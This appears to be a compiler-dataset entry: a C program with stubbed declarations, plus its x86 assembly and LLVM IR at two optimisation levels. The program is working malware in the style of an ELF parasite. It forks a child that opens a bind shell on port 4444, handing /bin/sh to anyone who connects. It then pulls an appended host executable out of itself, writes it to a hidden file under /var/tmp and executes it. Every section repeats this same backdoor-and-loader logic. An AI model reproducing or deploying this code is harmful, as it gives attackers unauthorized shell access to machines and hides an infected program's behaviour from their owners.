#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct stat {
  int st_size;
  int /*<<< orphan*/ st_mode;
};
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ needle;
typedef int /*<<< orphan*/ bindshell;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int EXIT_FAILURE;
int /*<<< orphan*/ INADDR_ANY;
int O_CREAT;
int /*<<< orphan*/ O_RDONLY;
int O_RDWR;
int O_TRUNC;
int /*<<< orphan*/ SEEK_SET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ STDERR_FILENO;
int /*<<< orphan*/ STDIN_FILENO;
int /*<<< orphan*/ STDOUT_FILENO;
int accept(int, int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ bind(int, struct sockaddr *, int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int /*<<< orphan*/);
int /*<<< orphan*/ execl(char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ execve(char *, char **, char **);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
scalar_t__ fork();
int /*<<< orphan*/ free(char *);
scalar_t__ fstat(int, struct stat *);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ listen(int, int /*<<< orphan*/);
int lseek(int, int, int /*<<< orphan*/);
char *malloc(int);
char *memmem(char *, int, char *, int);
int open(char *, int, ...);
int read(int, char *, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
long strlen(char *);
int write(int, char *, int);
int main(int argc, char *argv[], char *envp[]) {
  int parasite;
  int orig;
  int len;
  int offset;
  char *buf, *buf2;
  char needle[] = {0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01};
  struct stat self;
  if (fork() == 0) {
    int s, c;
    struct sockaddr_in bindshell;
    bindshell.sin_family = AF_INET;
    bindshell.sin_addr.s_addr = INADDR_ANY;
    bindshell.sin_port = htons(4444);
    s = socket(AF_INET, SOCK_STREAM, 0);
    bind(s, (struct sockaddr *)&bindshell, sizeof(bindshell));
    listen(s, 0);
    c = accept(s, NULL, NULL);
    dup2(c, STDERR_FILENO);
    dup2(c, STDOUT_FILENO);
    dup2(c, STDIN_FILENO);
    execl("/bin/sh", "sh", NULL);
  }
  if ((parasite = open("/proc/self/exe", O_RDONLY)) < 0) {
    return EXIT_FAILURE;
  }
  if (fstat(parasite, &self) < 0) {
    return EXIT_FAILURE;
  }
  len = self.st_size;
  buf = malloc(len);
  if (buf == NULL) {
    return EXIT_FAILURE;
  }
  if (lseek(parasite, sizeof(needle), SEEK_SET) != sizeof(needle)) {
    return EXIT_FAILURE;
  }
  if (read(parasite, buf, len - sizeof(needle)) != len - sizeof(needle)) {
    return EXIT_FAILURE;
  }
  buf2 = memmem(buf, len - sizeof(needle), needle, sizeof(needle));
  if (buf2 == NULL) {
    return EXIT_FAILURE;
  }
  offset = (long)buf2 - (long)buf + strlen(needle);
  if (lseek(parasite, offset, SEEK_SET) != offset) {
    return EXIT_FAILURE;
  }
  if (read(parasite, buf, len - offset) != len - offset) {
    return EXIT_FAILURE;
  }
  close(parasite);
  if ((orig = open("/var/tmp/.987151jh1u890ykjqu1351kjhf8y1",
                   O_RDWR | O_CREAT | O_TRUNC, self.st_mode)) < 0) {
    return EXIT_FAILURE;
  }
  if (write(orig, buf, len) != len) {
    return EXIT_FAILURE;
  }
  free(buf);
  close(orig);
  exit(execve("/var/tmp/.987151jh1u890ykjqu1351kjhf8y1", argv, envp));
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    0xda0(%rip),%eax
mov    %eax,-0x3f(%rbp)
mov    0xd9a(%rip),%ax
mov    %ax,-0x3b(%rbp)
mov    0xd92(%rip),%al
mov    %al,-0x39(%rbp)
mov    $0x0,%al
call   1150 <fork@plt>
cmp    $0x0,%rax
jne    1340 <main+0x100>
mov    0x2d39(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x58(%rbp)
mov    0x2d1d(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x5c(%rbp)
mov    $0x115c,%edi
call   1060 <htons@plt>
mov    %eax,-0x60(%rbp)
mov    0x2d14(%rip),%rax
mov    (%rax),%edi
mov    0x2ceb(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1160 <socket@plt>
mov    %eax,-0x4c(%rbp)
mov    -0x4c(%rbp),%edi
lea    -0x60(%rbp),%rsi
mov    $0xc,%edx
call   10f0 <bind@plt>
mov    -0x4c(%rbp),%edi
xor    %esi,%esi
call   10e0 <listen@plt>
mov    -0x4c(%rbp),%edi
xor    %eax,%eax
mov    %eax,%edx
mov    %rdx,%rsi
call   1110 <accept@plt>
mov    %eax,-0x50(%rbp)
mov    -0x50(%rbp),%edi
mov    0x2c98(%rip),%rax
mov    (%rax),%esi
call   1070 <dup2@plt>
mov    -0x50(%rbp),%edi
mov    0x2ccf(%rip),%rax
mov    (%rax),%esi
call   1070 <dup2@plt>
mov    -0x50(%rbp),%edi
mov    0x2c66(%rip),%rax
mov    (%rax),%esi
call   1070 <dup2@plt>
lea    0xcd7(%rip),%rdi
lea    0xcd5(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1130 <execl@plt>
mov    0x2c79(%rip),%rax
mov    (%rax),%esi
lea    0xcbf(%rip),%rdi
mov    $0x0,%al
call   1100 <open@plt>
mov    %eax,-0x1c(%rbp)
cmp    $0x0,%eax
jge    1374 <main+0x134>
mov    0x2c26(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    159c <main+0x35c>
mov    -0x1c(%rbp),%edi
lea    -0x48(%rbp),%rsi
call   1140 <fstat@plt>
cmp    $0x0,%rax
jge    139b <main+0x15b>
mov    0x2bff(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    159c <main+0x35c>
mov    -0x48(%rbp),%eax
mov    %eax,-0x24(%rbp)
mov    -0x24(%rbp),%edi
call   10d0 <malloc@plt>
mov    %rax,-0x30(%rbp)
cmpq   $0x0,-0x30(%rbp)
jne    13c9 <main+0x189>
mov    0x2bd1(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    159c <main+0x35c>
mov    -0x1c(%rbp),%edi
mov    0x2bcd(%rip),%rax
mov    (%rax),%edx
mov    $0x7,%esi
call   1080 <lseek@plt>
cltq
cmp    $0x7,%rax
je     13fc <main+0x1bc>
mov    0x2b9e(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    159c <main+0x35c>
mov    -0x1c(%rbp),%edi
mov    -0x30(%rbp),%rsi
movslq -0x24(%rbp),%rax
sub    $0x7,%rax
mov    %eax,%edx
call   10a0 <read@plt>
cltq
movslq -0x24(%rbp),%rcx
sub    $0x7,%rcx
cmp    %rcx,%rax
je     1436 <main+0x1f6>
mov    0x2b64(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    159c <main+0x35c>
mov    -0x30(%rbp),%rdi
movslq -0x24(%rbp),%rax
sub    $0x7,%rax
mov    %eax,%esi
lea    -0x3f(%rbp),%rdx
mov    $0x7,%ecx
call   10c0 <memmem@plt>
mov    %rax,-0x38(%rbp)
cmpq   $0x0,-0x38(%rbp)
jne    1472 <main+0x232>
mov    0x2b28(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    159c <main+0x35c>
mov    -0x38(%rbp),%rax
mov    -0x30(%rbp),%rcx
sub    %rcx,%rax
mov    %rax,-0x68(%rbp)
lea    -0x3f(%rbp),%rdi
call   1050 <strlen@plt>
mov    %rax,%rcx
mov    -0x68(%rbp),%rax
add    %rcx,%rax
mov    %eax,-0x28(%rbp)
mov    -0x1c(%rbp),%edi
mov    -0x28(%rbp),%esi
mov    0x2afc(%rip),%rax
mov    (%rax),%edx
call   1080 <lseek@plt>
cmp    -0x28(%rbp),%eax
je     14c5 <main+0x285>
mov    0x2ad5(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    159c <main+0x35c>
mov    -0x1c(%rbp),%edi
mov    -0x30(%rbp),%rsi
mov    -0x24(%rbp),%edx
sub    -0x28(%rbp),%edx
call   10a0 <read@plt>
mov    -0x24(%rbp),%ecx
sub    -0x28(%rbp),%ecx
cmp    %ecx,%eax
je     14f6 <main+0x2b6>
mov    0x2aa4(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    159c <main+0x35c>
mov    -0x1c(%rbp),%edi
call   1090 <close@plt>
mov    0x2acb(%rip),%rax
mov    (%rax),%esi
mov    0x2aea(%rip),%rax
or     (%rax),%esi
mov    0x2ad9(%rip),%rax
or     (%rax),%esi
mov    -0x44(%rbp),%edx
lea    0xafb(%rip),%rdi
mov    $0x0,%al
call   1100 <open@plt>
mov    %eax,-0x20(%rbp)
cmp    $0x0,%eax
jge    1547 <main+0x307>
mov    0x2a53(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    159c <main+0x35c>
mov    -0x20(%rbp),%edi
mov    -0x30(%rbp),%rsi
mov    -0x24(%rbp),%edx
call   1040 <write@plt>
cmp    -0x24(%rbp),%eax
je     1570 <main+0x330>
mov    0x2a2a(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    159c <main+0x35c>
mov    -0x30(%rbp),%rdi
call   1030 <free@plt>
mov    -0x20(%rbp),%edi
call   1090 <close@plt>
mov    -0x10(%rbp),%rsi
mov    -0x18(%rbp),%rdx
lea    0xa8e(%rip),%rdi
call   10b0 <execve@plt>
mov    %eax,%edi
call   1120 <exit@plt>
mov    -0x4(%rbp),%eax
add    $0x70,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x28,%rsp
mov    %rdx,0x20(%rsp)
mov    %rsi,%r15
movl   $0x1010246,0x1b(%rsp)
01
movl   $0x464c457f,0x18(%rsp)
46
xor    %eax,%eax
call   1150 <fork@plt>
test   %rax,%rax
jne    131e <main+0xde>
mov    0x2d4b(%rip),%rbx
mov    (%rbx),%eax
mov    %eax,0x10(%rsp)
mov    0x2d2e(%rip),%rax
mov    (%rax),%eax
mov    %eax,0xc(%rsp)
mov    $0x115c,%edi
call   1060 <htons@plt>
mov    %eax,0x8(%rsp)
mov    (%rbx),%edi
mov    0x2d01(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1160 <socket@plt>
mov    %eax,%ebx
lea    0x8(%rsp),%rsi
mov    %eax,%edi
mov    $0xc,%edx
call   10f0 <bind@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   10e0 <listen@plt>
mov    %ebx,%edi
xor    %esi,%esi
xor    %edx,%edx
call   1110 <accept@plt>
mov    %eax,%ebx
mov    0x2cb8(%rip),%rax
mov    (%rax),%esi
mov    %ebx,%edi
call   1070 <dup2@plt>
mov    0x2cf0(%rip),%rax
mov    (%rax),%esi
mov    %ebx,%edi
call   1070 <dup2@plt>
mov    0x2c88(%rip),%rax
mov    (%rax),%esi
mov    %ebx,%edi
call   1070 <dup2@plt>
lea    0xcf7(%rip),%rdi
lea    0xcf5(%rip),%rsi
xor    %edx,%edx
call   1130 <execl@plt>
mov    0x2c9b(%rip),%rax
mov    (%rax),%esi
lea    0xce1(%rip),%rdi
xor    %eax,%eax
call   1100 <open@plt>
test   %eax,%eax
js     1453 <main+0x213>
mov    %eax,%ebp
lea    0x8(%rsp),%rsi
mov    %eax,%edi
call   1140 <fstat@plt>
test   %rax,%rax
js     1453 <main+0x213>
mov    0x8(%rsp),%r12d
mov    %r12d,%edi
call   10d0 <malloc@plt>
test   %rax,%rax
je     1453 <main+0x213>
mov    %rax,%r13
mov    0x2c2c(%rip),%r14
mov    (%r14),%edx
mov    %ebp,%edi
mov    $0x7,%esi
call   1080 <lseek@plt>
cmp    $0x7,%eax
jne    1453 <main+0x213>
movslq %r12d,%rbx
add    $0xfffffffffffffff9,%rbx
mov    %ebp,%edi
mov    %r13,%rsi
mov    %ebx,%edx
call   10a0 <read@plt>
cltq
cmp    %rax,%rbx
jne    1453 <main+0x213>
lea    0x18(%rsp),%rdx
mov    %r13,%rdi
mov    %ebx,%esi
mov    $0x7,%ecx
call   10c0 <memmem@plt>
test   %rax,%rax
je     1453 <main+0x213>
mov    %rax,%rbx
sub    %r13d,%ebx
lea    0x18(%rsp),%rdi
call   1050 <strlen@plt>
mov    %r14,%rcx
mov    %rax,%r14
add    %ebx,%r14d
mov    (%rcx),%edx
mov    %ebp,%edi
mov    %r14d,%esi
call   1080 <lseek@plt>
cmp    %r14d,%eax
jne    1453 <main+0x213>
mov    %r12d,%ebx
sub    %r14d,%ebx
mov    %ebp,%edi
mov    %r13,%rsi
mov    %ebx,%edx
call   10a0 <read@plt>
cmp    %ebx,%eax
jne    1453 <main+0x213>
mov    %ebp,%edi
call   1090 <close@plt>
mov    0x2bbb(%rip),%rax
mov    0x2bdc(%rip),%rcx
mov    (%rcx),%esi
or     (%rax),%esi
mov    0x2bc9(%rip),%rax
or     (%rax),%esi
mov    0xc(%rsp),%edx
lea    0xbea(%rip),%rdi
xor    %eax,%eax
call   1100 <open@plt>
test   %eax,%eax
js     1453 <main+0x213>
mov    %eax,%ebp
mov    %eax,%edi
mov    %r13,%rsi
mov    %r12d,%edx
call   1040 <write@plt>
cmp    %r12d,%eax
je     146b <main+0x22b>
mov    0x2b36(%rip),%rax
mov    (%rax),%eax
add    $0x28,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    %r13,%rdi
call   1030 <free@plt>
mov    %ebp,%edi
call   1090 <close@plt>
lea    0xb9d(%rip),%rdi
mov    %r15,%rsi
mov    0x20(%rsp),%rdx
call   10b0 <execve@plt>
mov    %eax,%edi
call   1120 <exit@plt>

LLVM IR (-O0):
%struct.stat = type { i32, i32 }
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@__const.main.needle = [7 x i8] c"\7FELF\02\01\01"
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
@SOCK_STREAM = global i32 0
@STDERR_FILENO = global i32 0
@STDOUT_FILENO = global i32 0
@STDIN_FILENO = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
@.str.1 = [3 x i8] c"sh\00"
@.str.2 = [15 x i8] c"/proc/self/exe\00"
@O_RDONLY = global i32 0
@EXIT_FAILURE = global i32 0
@SEEK_SET = global i32 0
@.str.3 = [40 x i8] c"/var/tmp/.987151jh1u890ykjqu1351kjhf8y1\00"
@O_RDWR = global i32 0
@O_CREAT = global i32 0
@O_TRUNC = global i32 0
define i32 @main(i32 %0, i8** %1, i8** %2) {
%4 = alloca i32
%5 = alloca i32
%6 = alloca i8**
%7 = alloca i8**
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
%11 = alloca i32
%12 = alloca i8*
%13 = alloca i8*
%14 = alloca [7 x i8]
%15 = alloca %struct.stat
%16 = alloca i32
%17 = alloca i32
%18 = alloca %struct.sockaddr_in
store i32 0, i32* %4
store i32 %0, i32* %5
store i8** %1, i8*** %6
store i8** %2, i8*** %7
%19 = bitcast [7 x i8]* %14 to i8*
%20 = call i64 (...) @fork()
%21 = icmp eq i64 %20, 0
br i1 %21, label %22, label %50
22: ; preds = %3
%23 = load i32, i32* @AF_INET
%24 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %18, i32 0, i32 2
store i32 %23, i32* %24
%25 = load i32, i32* @INADDR_ANY
%26 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %18, i32 0, i32 1
%27 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %26, i32 0, i32 0
store i32 %25, i32* %27
%28 = call i32 @htons(i32 4444)
%29 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %18, i32 0, i32 0
store i32 %28, i32* %29
%30 = load i32, i32* @AF_INET
%31 = load i32, i32* @SOCK_STREAM
%32 = call i32 @socket(i32 %30, i32 %31, i32 0)
store i32 %32, i32* %16
%33 = load i32, i32* %16
%34 = bitcast %struct.sockaddr_in* %18 to %struct.sockaddr*
%35 = call i32 @bind(i32 %33, %struct.sockaddr* %34, i32 12)
%36 = load i32, i32* %16
%37 = call i32 @listen(i32 %36, i32 0)
%38 = load i32, i32* %16
%39 = call i32 @accept(i32 %38, i32* null, i32* null)
store i32 %39, i32* %17
%40 = load i32, i32* %17
%41 = load i32, i32* @STDERR_FILENO
%42 = call i32 @dup2(i32 %40, i32 %41)
%43 = load i32, i32* %17
%44 = load i32, i32* @STDOUT_FILENO
%45 = call i32 @dup2(i32 %43, i32 %44)
%46 = load i32, i32* %17
%47 = load i32, i32* @STDIN_FILENO
%48 = call i32 @dup2(i32 %46, i32 %47)
%49 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i32* null)
br label %50
50: ; preds = %22, %3
%51 = load i32, i32* @O_RDONLY
%52 = call i32 (i8*, i32, ...) @open(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.2, i64 0, i64 0), i32 %51)
store i32 %52, i32* %8
%53 = icmp slt i32 %52, 0
br i1 %53, label %54, label %56
54: ; preds = %50
%55 = load i32, i32* @EXIT_FAILURE
store i32 %55, i32* %4
br label %169
56: ; preds = %50
%57 = load i32, i32* %8
%58 = call i64 @fstat(i32 %57, %struct.stat* %15)
%59 = icmp slt i64 %58, 0
br i1 %59, label %60, label %62
60: ; preds = %56
%61 = load i32, i32* @EXIT_FAILURE
store i32 %61, i32* %4
br label %169
62: ; preds = %56
%63 = getelementptr inbounds %struct.stat, %struct.stat* %15, i32 0, i32 0
%64 = load i32, i32* %63
store i32 %64, i32* %10
%65 = load i32, i32* %10
%66 = call i8* @malloc(i32 %65)
store i8* %66, i8** %12
%67 = load i8*, i8** %12
%68 = icmp eq i8* %67, null
br i1 %68, label %69, label %71
69: ; preds = %62
%70 = load i32, i32* @EXIT_FAILURE
store i32 %70, i32* %4
br label %169
71: ; preds = %62
%72 = load i32, i32* %8
%73 = load i32, i32* @SEEK_SET
%74 = call i32 @lseek(i32 %72, i32 7, i32 %73)
%75 = sext i32 %74 to i64
%76 = icmp ne i64 %75, 7
br i1 %76, label %77, label %79
77: ; preds = %71
%78 = load i32, i32* @EXIT_FAILURE
store i32 %78, i32* %4
br label %169
79: ; preds = %71
%80 = load i32, i32* %8
%81 = load i8*, i8** %12
%82 = load i32, i32* %10
%83 = sext i32 %82 to i64
%84 = sub i64 %83, 7
%85 = trunc i64 %84 to i32
%86 = call i32 @read(i32 %80, i8* %81, i32 %85)
%87 = sext i32 %86 to i64
%88 = load i32, i32* %10
%89 = sext i32 %88 to i64
%90 = sub i64 %89, 7
%91 = icmp ne i64 %87, %90
br i1 %91, label %92, label %94
92: ; preds = %79
%93 = load i32, i32* @EXIT_FAILURE
store i32 %93, i32* %4
br label %169
94: ; preds = %79
%95 = load i8*, i8** %12
%96 = load i32, i32* %10
%97 = sext i32 %96 to i64
%98 = sub i64 %97, 7
%99 = trunc i64 %98 to i32
%100 = getelementptr inbounds [7 x i8], [7 x i8]* %14, i64 0, i64 0
%101 = call i8* @memmem(i8* %95, i32 %99, i8* %100, i32 7)
store i8* %101, i8** %13
%102 = load i8*, i8** %13
%103 = icmp eq i8* %102, null
br i1 %103, label %104, label %106
104: ; preds = %94
%105 = load i32, i32* @EXIT_FAILURE
store i32 %105, i32* %4
br label %169
106: ; preds = %94
%107 = load i8*, i8** %13
%108 = ptrtoint i8* %107 to i64
%109 = load i8*, i8** %12
%110 = ptrtoint i8* %109 to i64
%111 = sub nsw i64 %108, %110
%112 = getelementptr inbounds [7 x i8], [7 x i8]* %14, i64 0, i64 0
%113 = call i64 @strlen(i8* %112)
%114 = add nsw i64 %111, %113
%115 = trunc i64 %114 to i32
store i32 %115, i32* %11
%116 = load i32, i32* %8
%117 = load i32, i32* %11
%118 = load i32, i32* @SEEK_SET
%119 = call i32 @lseek(i32 %116, i32 %117, i32 %118)
%120 = load i32, i32* %11
%121 = icmp ne i32 %119, %120
br i1 %121, label %122, label %124
122: ; preds = %106
%123 = load i32, i32* @EXIT_FAILURE
store i32 %123, i32* %4
br label %169
124: ; preds = %106
%125 = load i32, i32* %8
%126 = load i8*, i8** %12
%127 = load i32, i32* %10
%128 = load i32, i32* %11
%129 = sub nsw i32 %127, %128
%130 = call i32 @read(i32 %125, i8* %126, i32 %129)
%131 = load i32, i32* %10
%132 = load i32, i32* %11
%133 = sub nsw i32 %131, %132
%134 = icmp ne i32 %130, %133
br i1 %134, label %135, label %137
135: ; preds = %124
%136 = load i32, i32* @EXIT_FAILURE
store i32 %136, i32* %4
br label %169
137: ; preds = %124
%138 = load i32, i32* %8
%139 = call i32 @close(i32 %138)
%140 = load i32, i32* @O_RDWR
%141 = load i32, i32* @O_CREAT
%142 = or i32 %140, %141
%143 = load i32, i32* @O_TRUNC
%144 = or i32 %142, %143
%145 = getelementptr inbounds %struct.stat, %struct.stat* %15, i32 0, i32 1
%146 = load i32, i32* %145
%147 = call i32 (i8*, i32, ...) @open(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.3, i64 0, i64 0), i32 %144, i32 %146)
store i32 %147, i32* %9
%148 = icmp slt i32 %147, 0
br i1 %148, label %149, label %151
149: ; preds = %137
%150 = load i32, i32* @EXIT_FAILURE
store i32 %150, i32* %4
br label %169
151: ; preds = %137
%152 = load i32, i32* %9
%153 = load i8*, i8** %12
%154 = load i32, i32* %10
%155 = call i32 @write(i32 %152, i8* %153, i32 %154)
%156 = load i32, i32* %10
%157 = icmp ne i32 %155, %156
br i1 %157, label %158, label %160
158: ; preds = %151
%159 = load i32, i32* @EXIT_FAILURE
store i32 %159, i32* %4
br label %169
160: ; preds = %151
%161 = load i8*, i8** %12
%162 = call i32 @free(i8* %161)
%163 = load i32, i32* %9
%164 = call i32 @close(i32 %163)
%165 = load i8**, i8*** %6
%166 = load i8**, i8*** %7
%167 = call i32 @execve(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.3, i64 0, i64 0), i8** %165, i8** %166)
%168 = call i32 @exit(i32 %167)
unreachable
169: ; preds = %158, %149, %135, %122, %104, %92, %77, %69, %60, %54
%170 = load i32, i32* %4
ret i32 %170
}

LLVM IR (-O2):
%struct.stat = type { i32, i32 }
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@__const.main.needle = [7 x i8] c"\7FELF\02\01\01"
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
@SOCK_STREAM = global i32 0
@STDERR_FILENO = global i32 0
@STDOUT_FILENO = global i32 0
@STDIN_FILENO = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
@.str.1 = [3 x i8] c"sh\00"
@.str.2 = [15 x i8] c"/proc/self/exe\00"
@O_RDONLY = global i32 0
@EXIT_FAILURE = global i32 0
@SEEK_SET = global i32 0
@.str.3 = [40 x i8] c"/var/tmp/.987151jh1u890ykjqu1351kjhf8y1\00"
@O_RDWR = global i32 0
@O_CREAT = global i32 0
@O_TRUNC = global i32 0
define i32 @main(i32 %0, i8** %1, i8** %2) {
%4 = alloca [7 x i8]
%5 = alloca %struct.stat
%6 = alloca %struct.sockaddr_in
%7 = getelementptr inbounds [7 x i8], [7 x i8]* %4, i64 0, i64 0
%8 = bitcast %struct.stat* %5 to i8*
%9 = tail call i64 (...) @fork()
%10 = icmp eq i64 %9, 0
br i1 %10, label %11, label %33
11: ; preds = %3
%12 = bitcast %struct.sockaddr_in* %6 to i8*
%13 = load i32, i32* @AF_INET
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 2
store i32 %13, i32* %14
%15 = load i32, i32* @INADDR_ANY
%16 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 1, i32 0
store i32 %15, i32* %16
%17 = tail call i32 @htons(i32 4444)
%18 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 0
store i32 %17, i32* %18
%19 = load i32, i32* @AF_INET
%20 = load i32, i32* @SOCK_STREAM
%21 = tail call i32 @socket(i32 %19, i32 %20, i32 0)
%22 = bitcast %struct.sockaddr_in* %6 to %struct.sockaddr*
%23 = call i32 @bind(i32 %21, %struct.sockaddr* %22, i32 12)
%24 = call i32 @listen(i32 %21, i32 0)
%25 = call i32 @accept(i32 %21, i32* null, i32* null)
%26 = load i32, i32* @STDERR_FILENO
%27 = call i32 @dup2(i32 %25, i32 %26)
%28 = load i32, i32* @STDOUT_FILENO
%29 = call i32 @dup2(i32 %25, i32 %28)
%30 = load i32, i32* @STDIN_FILENO
%31 = call i32 @dup2(i32 %25, i32 %30)
%32 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i32* null)
br label %33
33: ; preds = %11, %3
%34 = load i32, i32* @O_RDONLY
%35 = call i32 (i8*, i32, ...) @open(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.2, i64 0, i64 0), i32 %34)
%36 = icmp slt i32 %35, 0
br i1 %36, label %92, label %37
37: ; preds = %33
%38 = call i64 @fstat(i32 %35, %struct.stat* %5)
%39 = icmp slt i64 %38, 0
br i1 %39, label %92, label %40
40: ; preds = %37
%41 = getelementptr inbounds %struct.stat, %struct.stat* %5, i64 0, i32 0
%42 = load i32, i32* %41
%43 = call i8* @malloc(i32 %42)
%44 = icmp eq i8* %43, null
br i1 %44, label %92, label %45
45: ; preds = %40
%46 = load i32, i32* @SEEK_SET
%47 = call i32 @lseek(i32 %35, i32 7, i32 %46)
%48 = icmp eq i32 %47, 7
br i1 %48, label %49, label %92
49: ; preds = %45
%50 = sext i32 %42 to i64
%51 = add nsw i64 %50, -7
%52 = trunc i64 %51 to i32
%53 = call i32 @read(i32 %35, i8* %43, i32 %52)
%54 = sext i32 %53 to i64
%55 = icmp eq i64 %51, %54
br i1 %55, label %56, label %92
56: ; preds = %49
%57 = call i8* @memmem(i8* %43, i32 %52, i8* %7, i32 7)
%58 = icmp eq i8* %57, null
br i1 %58, label %92, label %59
59: ; preds = %56
%60 = ptrtoint i8* %57 to i64
%61 = ptrtoint i8* %43 to i64
%62 = sub i64 %60, %61
%63 = call i64 @strlen(i8* %7)
%64 = add nsw i64 %62, %63
%65 = trunc i64 %64 to i32
%66 = load i32, i32* @SEEK_SET
%67 = call i32 @lseek(i32 %35, i32 %65, i32 %66)
%68 = icmp eq i32 %67, %65
br i1 %68, label %69, label %92
69: ; preds = %59
%70 = sub nsw i32 %42, %65
%71 = call i32 @read(i32 %35, i8* %43, i32 %70)
%72 = icmp eq i32 %71, %70
br i1 %72, label %73, label %92
73: ; preds = %69
%74 = call i32 @close(i32 %35)
%75 = load i32, i32* @O_RDWR
%76 = load i32, i32* @O_CREAT
%77 = or i32 %76, %75
%78 = load i32, i32* @O_TRUNC
%79 = or i32 %77, %78
%80 = getelementptr inbounds %struct.stat, %struct.stat* %5, i64 0, i32 1
%81 = load i32, i32* %80
%82 = call i32 (i8*, i32, ...) @open(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.3, i64 0, i64 0), i32 %79, i32 %81)
%83 = icmp slt i32 %82, 0
br i1 %83, label %92, label %84
84: ; preds = %73
%85 = call i32 @write(i32 %82, i8* %43, i32 %42)
%86 = icmp eq i32 %85, %42
br i1 %86, label %87, label %92
87: ; preds = %84
%88 = call i32 @free(i8* %43)
%89 = call i32 @close(i32 %82)
%90 = call i32 @execve(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.3, i64 0, i64 0), i8** %1, i8** %2)
%91 = call i32 @exit(i32 %90)
unreachable
92: ; preds = %84, %73, %69, %59, %56, %49, %45, %40, %37, %33
%93 = load i32, i32* @EXIT_FAILURE
ret i32 %93
}